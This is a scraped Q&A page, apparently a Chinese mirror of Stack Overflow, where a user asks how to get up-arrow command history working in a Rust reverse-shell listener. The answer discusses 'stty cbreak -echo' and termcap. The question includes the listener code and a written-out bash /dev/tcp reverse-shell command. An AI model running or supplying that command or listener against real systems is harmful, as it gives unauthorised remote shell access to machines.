【问题标题】:Rust Reverse Shell Recent Command On Up Key PressRust Reverse Shell 最近的命令 On Up Key Press
【发布时间】:2021-08-25 17:33:02
【问题描述】:

我有这个 rust 反向 shell,它侦听端口并等待连接。
然后我可以运行类似/bin/bash -c 'bash -i >& /dev/tcp/0.0.0.0/55100 0>&1' 的东西来获得一个反向shell。

fn pipe_thread<R, W>(mut r: R, mut w: W) -> std::thread::JoinHandle<()>
where
    R: std::io::Read + Send + 'static,
    W: std::io::Write + Send + 'static,
{
    std::thread::spawn(move || {
        let mut buffer = [0; 1024];
        loop {
            let len = r.read(&mut buffer).unwrap();
            if len == 0 {
                println!("Connection lost");
                std::process::exit(0x0100);
            }
            w.write(&buffer[..len]).unwrap();
            w.flush().unwrap();
        }
    })
}

fn listen() -> std::io::Result<()> {
    let listener = std::net::TcpListener::bind(format!("{}:{}", "0.0.0.0", "55100"))?;
    println!("Started listener");

    let (stream, _) = listener.accept()?;
    let t1 = pipe_thread(std::io::stdin(), stream.try_clone()?);
    println!("Connection recieved");
    let t2 = pipe_thread(stream, std::io::stdout());
    t1.join().unwrap();
    t2.join().unwrap();

    return Ok(());
}

一切正常,除了当我按下键盘上的向上箭头时它没有将最新的命令放入输入中,而是放入 ^[[A

[root@arch ~]$ echo hello
echo hello
hello
[root@arch ~]$ ^[[A <------
echo hello
hello
[root@arch ~]$ 

正如您在此处看到的,它完美地运行最新的命令!但它不会像在普通 shell 中那样将命令放入输入中。我猜那是因为它只在你按下回车时才向 shell 发送东西。

我已经尝试过像这样的 rustyline,但是当按下向上箭头或执行其他相关操作时,它会删除整个用户和目录 ( [root@arch ~]$ )。

use rustyline::error::ReadlineError;
use rustyline::Editor;
use std::io::Write;

fn pipe_thread<R, W>(mut r: R, mut w: W) -> std::thread::JoinHandle<()>
where
    R: std::io::Read + Send + 'static,
    W: std::io::Write + Send + 'static,
{
    std::thread::spawn(move || {
        let mut buffer = [0; 1024];
        loop {
            let len = r.read(&mut buffer).unwrap();
            if len == 0 {
                println!("Connection lost");
                std::process::exit(0x0100);
            }
            w.write(&buffer[..len]).unwrap();
            w.flush().unwrap();
        }
    })
}

fn main() -> std::io::Result<()> {
    let listener = std::net::TcpListener::bind(format!("{}:{}", "0.0.0.0", "55100"))?;
    println!("Started listener");

    let (mut stream, _) = listener.accept()?;
    println!("Connection recieved");
    let t = pipe_thread(stream.try_clone().unwrap(), std::io::stdout());

    let mut rl = Editor::<()>::new();
    loop {
        let readline = rl.readline(">> ");
        match readline {
            Ok(command) => {
                rl.add_history_entry(command.as_str());

                // Clone command to increase its lifetime
                let command = command.clone() + "\n";

                // Send a TCP message
                stream
                    .write(command.as_bytes())
                    .expect("Faild to send TCP.");
            }
            Err(ReadlineError::Interrupted) => {
                println!("CTRL-C");
                break;
            }
            Err(ReadlineError::Eof) => {
                println!("CTRL-D");
                break;
            }
            Err(err) => {
                println!("Error: {:?}", err);
                break;
            }
        }
    }

    return Ok(());
}

那么如果有可能在按下向上箭头时将最近的命令放在输入中而不使用 rustyline 并在本地存储历史记录?

所以它看起来像这样:

[root@arch ~]$ echo hello
hello
[root@arch ~]$ echo hello (up arrow pressed)
hello
[root@arch ~]$ 

我正在寻求如何做的总结!
例如,当按下向上键时,它会实时更新输入。
基本上在按下向上键时实时更改输入,例如 rlwrap -cAr nc -lvnp 55100
例如

[root@arch ~]$ echo hello
echo hello <------ ==|==
hello

我希望它实时出现在输入中,而不是在按下回车时显示它

【问题讨论】:

    标签: rust reverse-shell command-history


    【解决方案1】:

    您的评估是正确的,您的初始尝试由于线路缓冲而没有奏效。解决此问题的正确方法是禁用它。我可以通过运行stty cbreak -echo 来完成这项工作;要么由进程本身产生它,要么直接使用stty cbreak -echo &amp;&amp; cargo run

    在上述命令中,cbreak 禁用行缓冲,-echo 禁用终端自动打印字符,因为这是由 shell 完成的。如果您查看您的第一个输出,您会发现那里也发生了这种情况。

    这仅适用于类 unix 系统。 Windows 可能有一个执行相同操作的 winapi 调用。

    【讨论】:

    • 感谢您的努力回答!我希望将所有内容都放在同一个应用程序中。此外,在运行它时它不能正常工作[root@arch ~]$ ^[[Awhoami^[[aa^^^^i 例如,当我按下退格键时,它只是放了一些随机的东西
    • @Fakebottle 不幸的是,实际的 stty 工具使用ioctl 实现了这一点,这是出了名的痛苦而且不值得。至于退格问题,你可能需要弄清楚termcap;它告诉 bash 如何解释终端转义码。
    • 是的。我只是希望它像rlwrap -cAr nc -lvnp 一样工作。我最好得到实时更新的输入,但如果有人有一个很好的 rustyline 解决方案也可以工作!
    猜你喜欢
    • 2013-12-25
    • 1970-01-01
    • 2012-09-24
    • 1970-01-01
    • 1970-01-01
    • 2021-09-10
    • 1970-01-01
    • 1970-01-01
    • 1970-01-01
    相关资源
    最近更新 更多